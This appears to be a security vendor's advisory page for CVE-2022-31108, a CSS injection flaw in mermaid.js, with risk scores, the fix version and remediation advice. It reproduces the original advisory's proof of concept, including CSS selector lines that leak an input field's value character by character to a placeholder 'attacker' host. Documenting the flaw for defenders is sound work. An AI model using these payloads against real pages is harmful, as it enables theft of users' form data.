CVE-2022-31108 is a medium-severity (CVSS 4.1) vulnerability in mermaid. 1 public exploit reference exists, so weaponization risk is real. A fix is available for mermaid — see the affected versions and patch details below.
Arbitrary `CSS` injection into the generated graph affecting the container HTML in mermaid.js
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2022-31108.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2022-31108 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
mermaidnpmDescription
An attacker is able to inject arbitrary CSS into the generated graph allowing them to change the styling of elements outside of the generated graph, and potentially exfiltrate sensitive information by using specially crafted CSS selectors.
The following example shows how an attacker can exfiltrate the contents of an input field by bruteforcing the value attribute one character at a time. Whenever there is an actual match, an http request will be made by the browser in order to "load" a background image that will let an attacker know what's the value of the character.
input[name=secret][value^=g] { background-image: url(http://attacker/?char=g); }
...
input[name=secret][value^=go] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goo] { background-image: url(http://attacker/?char=o); }
...
input[name=secret][value^=goos] { background-image: url(http://attacker/?char=s); }
...
input[name=secret][value^=goose] { background-image: url(http://attacker/?char=e); }
Patches
Has the problem been patched? What versions should users upgrade to?
Workarounds
Is there a way for users to fix or remediate the vulnerability without upgrading?
References
Are there any links users can visit to find out more?
For more information
If you have any questions or comments about this advisory:
- Open an issue in example link to repo
- Email us at example email address
Product
mermaid.js
Tested Version
Details
Issue 1: Multiple CSS Injection (GHSL-2022-036)
By supplying a carefully crafted textColor theme variable, an attacker can inject arbitrary CSS rules into the document. In the following snippet we can see that getStyles does not sanitize any of the theme variables leaving the door open for CSS injection.
Snippet from src/styles.js:
const getStyles = (type, userStyles, options) => {
return ` {
font-family: ${options.fontFamily};
font-size: ${options.fontSize};
fill: ${options.textColor}
}
For example, if we set textColor to "green;} #target { background-color: crimson }" the resulting CSS will contain a new selector #target that will apply a crimson background color to an arbitrary element.
<html>
<body>
<div id="target">
<h1>This element does not belong to the SVG but we can style it</h1>
</div>
<svg id="diagram">
</svg>
<script src="https://cdn.jsdelivr.net/npm/mermaid/dist/mermaid.min.js"></script>
<script>
mermaid.initialize({ startOnLoad: false });
const graph =
`
%%{ init: { "themeVariables" : { "textColor": "green;} #target { background-color: crimson }" } } }%%
graph TD
A[Goose]
`
const diagram = document.getElementById("diagram")
const svg = mermaid.render('diagram-svg', graph)
diagram.innerHTML = svg
</script>
</body>
</html>
In the proof of concept above we used the textColor variable to inject CSS, but there are multiple functions that can potentially be abused to change the style of the document. Some of them are in the following list but we encourage mantainers to look for additional injection points:
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/mermaidAPI.js#L393
- https://github.com/mermaid-js/mermaid/blob/5d30d465354f804e361d7a041ec46da6bb5d583b/src/styles.js#L35
Impact
This issue may lead to Information Disclosure via CSS selectors and functions able to generate HTTP requests. This also allows an attacker to change the document in ways which may lead a user to perform unintended actions, such as clicking on a link, etc.
Remediation
Ensure that user input is adequately escaped before embedding it in CSS blocks.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mermaid | ≥ 8.0.0&&< 9.1.2 | 9.1.2npm install mermaid@9.1.2 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mermaid, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mermaid to 9.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2022-31108 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2022-31108 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2022-31108. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2022-31108 in your dependencies?
O3 Security finds CVE-2022-31108 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.